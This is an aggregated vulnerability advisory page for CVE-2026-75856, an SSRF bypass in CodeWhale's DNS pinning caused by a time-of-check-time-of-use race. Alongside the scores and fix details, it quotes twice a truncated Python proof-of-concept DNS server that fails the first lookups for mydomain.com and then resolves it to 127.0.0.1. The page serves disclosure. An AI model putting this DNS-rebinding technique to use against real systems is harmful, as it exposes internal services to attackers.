CVE-2026-75856
CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU
CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.2
CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU
CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.
- Record
CVE-2026-75856- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-60963
9.2
CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.
- Record
EUVD-2026-60963- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6v2g-fpxh-pmmh
9.2
CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning
Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.
Details
Simplified attack scenario:
- Attacker asks agent to visit the
mydomain.com. - CodeWhale tries to resolve the IP of
mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check). - CodeWhale allows the code to continue as it expects it request to fail again.
- On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
- The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.
In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However
PoC
This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in dnser/dns_resolver.py:
#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.
Usage:
pip install dnslib
sudo python dns_resolver.py # binds to 0.0.0.0:53 by default
python dns_resolver.py --port 5353 # unprivileged port for testing
"""
import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA
UPSTREAM_DNS = ("8.8.8.8", 53) # fallback resolver
def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
"""Drop all AAAA requests."""
if QTYPE[query.q.qtype] == "AAAA":
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
def handle_blocked(query: DNSRecord) -> DNSRecord | None:
"""Block domains by returning NXDOMAIN."""
blocked = {"blocked.example.com.", "ads.tracker.io."}
qname = str(query.q.qname)
if qname in blocked:
print(f" [BLOCKED] {qname}")
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2
def handle_overrides(query: DNSRecord) -> DNSRecord | None:
global failer
"""Return hardcoded A records for specific names (split-horizon / local dev)."""
overrides: dict[str, str] = {
"myapp.local.": "127.0.0.1",
"devserver.local.": "192.168.1.100",
"mydomain.com.": "127.0.0.1",
}
qname = str(query.q.qname)
qtype = QTYPE[query.q.qtype]
if qname in overrides and qtype == "A":
failer += 1
cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle
should_fail = cycle_pos < MAX_FAIL
print(f" [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")
if should_fail:
reply = query.reply()
reply.header.rcode = 3
reply.header.ra = 0
return reply
ip = overrides[qname]
print(f" [OVERRIDE] {qname} → {ip}")
reply = query.reply()
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
reply.header.ra = 0
return reply
return None
def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
"""Rewrite a CNAME transparently (resolve alias locally)."""
rewrites: dict[str, str] =…
- Record
GHSA-6v2g-fpxh-pmmh- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
9.2
CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.
- Record
CVE-2026-75856- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
9.2
CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU
CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.
- Record
CVE-2026-75856- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-6v2g-fpxh-pmmh
9.2
CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning
Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.
Details
Simplified attack scenario:
- Attacker asks agent to visit the
mydomain.com. - CodeWhale tries to resolve the IP of
mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check). - CodeWhale allows the code to continue as it expects it request to fail again.
- On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
- The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.
In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However
PoC
This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in dnser/dns_resolver.py:
#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.
Usage:
pip install dnslib
sudo python dns_resolver.py # binds to 0.0.0.0:53 by default
python dns_resolver.py --port 5353 # unprivileged port for testing
"""
import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA
UPSTREAM_DNS = ("8.8.8.8", 53) # fallback resolver
def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
"""Drop all AAAA requests."""
if QTYPE[query.q.qtype] == "AAAA":
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
def handle_blocked(query: DNSRecord) -> DNSRecord | None:
"""Block domains by returning NXDOMAIN."""
blocked = {"blocked.example.com.", "ads.tracker.io."}
qname = str(query.q.qname)
if qname in blocked:
print(f" [BLOCKED] {qname}")
reply = query.reply()
reply.header.rcode = 3 # NXDOMAIN
return reply
return None
failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2
def handle_overrides(query: DNSRecord) -> DNSRecord | None:
global failer
"""Return hardcoded A records for specific names (split-horizon / local dev)."""
overrides: dict[str, str] = {
"myapp.local.": "127.0.0.1",
"devserver.local.": "192.168.1.100",
"mydomain.com.": "127.0.0.1",
}
qname = str(query.q.qname)
qtype = QTYPE[query.q.qtype]
if qname in overrides and qtype == "A":
failer += 1
cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle
should_fail = cycle_pos < MAX_FAIL
print(f" [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")
if should_fail:
reply = query.reply()
reply.header.rcode = 3
reply.header.ra = 0
return reply
ip = overrides[qname]
print(f" [OVERRIDE] {qname} → {ip}")
reply = query.reply()
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
reply.header.ra = 0
return reply
return None
def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
"""Rewrite a CNAME transparently (resolve alias locally)."""
rewrites: dict[str, str] =…
- Record
GHSA-6v2g-fpxh-pmmh- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N - CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
deepseek-tuicrates.io |
0.8.5 to 0.8.41 | None known |
deepseek-tuinpm |
0.8.5 up to 0.8.41 | 0.8.41 |
codewhale-tuicrates.io |
0.8.41 up to 0.8.64 | 0.8.64 |
codewhalenpm |
0.8.41 up to 0.8.64 | 0.8.64 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-75856 is a critical vulnerability (CVSS 9.2) in Hmbown Codewhale, published August 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 42nd percentile. Fixed in deepseek-tui 0.8.41.
References
github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh
github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e
vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou
nvd.nist.gov/vuln/detail/CVE-2026-75856
github.com/advisories/GHSA-6v2g-fpxh-pmmh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/75xxx/CVE-2026-75856.json
github.com/Hmbown/CodeWhale
Left out here: the rest of 2 source descriptions. The JSON record has them.